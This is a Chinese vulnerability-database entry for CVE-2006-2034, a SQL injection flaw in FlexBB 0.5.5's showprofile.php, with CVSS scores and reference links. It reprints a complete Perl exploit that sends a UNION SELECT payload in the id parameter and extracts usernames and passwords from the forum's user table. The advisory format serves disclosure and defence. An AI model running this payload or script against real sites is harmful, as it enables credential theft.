CVE-2006-2034
CVSS7.5
发布时间 :2006-04-25 20:06:00
修订时间 :2008-09-05 17:03:29
NMCOE    

[原文]SQL injection vulnerability in function/showprofile.php in FlexBB 0.5.5 allows remote attackers to execute arbitrary SQL commands, and view all usernames and passwords, via the id parameter to the showprofile page in index.php.


[CNNVD]FlexBB function/showprofile.php SQL注入漏洞(CNNVD-200604-490)

        FlexBB 0.5.5中的function/showprofile.php存在SQL注入漏洞。这使得远程攻击者可以借助于传递到index.php的showprofile页面的id参数执行任意SQL命令并查看所有用户名和密码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2034
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2034
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-490
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/17574
(UNKNOWN)  BID  17574
http://www.securityfocus.com/archive/1/archive/1/431793/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060421 FlexBB 0.5.5 Exploit [ function/showprofile.php ] Remote SQL Injection
http://www.osvdb.org/24867
(UNKNOWN)  OSVDB  24867

- 漏洞信息

FlexBB function/showprofile.php SQL注入漏洞
高危 SQL注入
2006-04-25 00:00:00 2006-04-27 00:00:00
远程  
        FlexBB 0.5.5中的function/showprofile.php存在SQL注入漏洞。这使得远程攻击者可以借助于传递到index.php的showprofile页面的id参数执行任意SQL命令并查看所有用户名和密码。

- 公告与补丁

        暂无数据

- 漏洞信息 (1713)

FlexBB <= 0.5.5 (function/showprofile.php) SQL Injection Exploit (EDBID:1713)
php webapps
2006-04-24 Verified
0 Devil-00
N/A [点击下载]
#!/usr/bin/perl
use IO::Socket;
#FlexBB Exploit [ function/showprofile.php ] Remote SQL Injection
#
#        1- First Do Login
#        2- View This Link :D
#
#        index.php?page=showprofile&id=-1' UNION ALL SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8 FROM flexbb_users WHERE id=1/*
#
#-----------------------------------------------#
#
#--[ D3vil-0x1 | Devil-00 ]--#
#
# SecurityGurus.net
#               Div The PHP Security Fucking Tool :D

##-- Start --#

$host         = "127.0.0.1";
$path         = "/flexbb/";
$injec        = "-1'%20UNION%20ALL%20SELECT%201,username,3,4,5,6,7,8,9,0,1,2,3,password,5,6,7,8,9,0,1,2,3,4,3,4,5,7,8%20FROM%20flexbb_users%20WHERE%20id=1/*";

##-- _END_ --##
#        $host                :-
#                                The Host Name Without http:// | exm. www.vic.com
#
#        $path                :-
#                                FlexBB Dir On Server | exm. /flexbb/
#
#        $mycookie             :-
#                                Your Login Info To Forum *  Not The Real Password || The Hashed One *


$sock = IO::Socket::INET->new (
                                                                                PeerAddr => "$host",
                                                                                PeerPort => "80",
                                                                                Proto    => "tcp"
                                                                                ) or die("[!] Connect To Server Was Filed");

##-- DONT TRY TO EDIT ME --##
$evildata  = "GET ".$path."index.php?page=showprofile&id=".$injec." HTTP/1.1\n";
$evildata .= "Host: $host \n";
$evildata .= "Accept: */* \n";
$evildata .= "Keep-Alive: 300\n";
$evildata .= "Connection: keep-alive \n\n";

print $sock $evildata;

while($ans = <$sock>){
       $usr_newans = $ans;
       $pwd_newans = $ans;
       #print $newans;
       $usr_newans =~ m/<title>FlexBB - Viewing Profile: (.*?)<\/title>/ && print "[+] Username is :- ".$1."\n";
       $pwd_newans =~ m/<a href="2" target="_blank">(.*?)<\/a>/ && print "[+] Password is :- ".$1."\n";
}

# milw0rm.com [2006-04-24]
		

- 漏洞信息

24867
FlexBB function/showprofile.php id Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

FlexBB contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the function/showprofile.php script not properly sanitizing user-supplied input to the 'id' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2006-04-21 Unknow
2006-04-21 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站